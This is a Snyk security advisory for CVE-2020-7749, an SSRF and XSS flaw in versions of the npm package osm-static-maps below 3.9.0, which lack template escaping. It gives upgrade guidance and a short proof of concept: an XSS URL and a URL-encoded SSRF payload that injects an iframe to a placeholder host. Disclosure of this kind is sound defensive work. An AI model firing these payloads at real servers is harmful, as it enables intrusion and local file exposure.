snyk Vulnerability DB

Snyk Vulnerability Database › npm › osm-static-maps

Search by package name or CVE

Server-side Request Forgery (SSRF)

Affecting osm-static-maps package, versions <3.9.0

INTRODUCED: 3 SEP 2020 CVE-2020-7749 ? CWE-918 ? FIRST ADDED BY SNYK

Share

How to fix?

Upgrade `osm-static-maps` to version 3.9.0 or higher.

Overview

osm-static-maps is a Create a static image of a map with the features you want

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF). User input given to the package is passed directly to a template without escaping ({{{ ... }}}) . As such, it is possible for an attacker to inject arbitrary HTML/JS code and depending on the context.

It will be outputted as an HTML on the page which gives opportunity for XSS or rendered on the server (puppeteer) which also gives opportunity for SSRF and Local File Read.

PoC

```
git clone https://github.com/jperelli/osm-static-maps.git cd osm-static-maps npm install npm run start
XSS Example http://localhost:3000/dynamic?tileserverUrl=%27%2Balert(1)%2B%27


SSRF Payload http://localhost:3000/?
tileserverUrl=%27%29%3Bfor%28var%20i%20%3D%200%3B%20i%3C99999%3B%20i%2B%2B%29%7B1%2B1%7D%3C%2Fscript%3E%3Ciframe%20style%3D
%22position%3A%20absolute%3B%20top%3A%200%3B%22%20src%3D%22http%3A%2F%2Fput.your.link.here%2F%22%20width%3D%221000%22%20hei
ght%3D%221000%22%20frameborder%3D%220%22%3E%3Cscript%3E%2F%2A
```

References

- GitHub Additional Information
- GitHub PR

Snyk CVSS

Attack Complexity	Low ?
Confidentiality	HIGH ?

See more

› NVD 7.6 HIGH

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Server-side Request Forgery (SSRF) vulnerabilities in an interactive lesson.

Start learning

Snyk ID	SNYK-JS-OSMSTATICMAPS-609637
Published	19 Oct 2020
Disclosed	3 Sep 2020
Credit	Vasilii Ermilov

Report a new vulnerability Found a mistake?

COMPANY

About

Jobs

Contact

Policies

Do Not Sell My Personal Information

CONTACT US

Support

Report a new vuln

Press Kit

Events

FIND US ONLINE

TRACK OUR DEVELOPMENT

Registered in England and Wales. Company number: 09677925

Registered address: Highlands House, Basingstoke Road, Spencers Wood, Reading, Berkshire, RG7 1NT.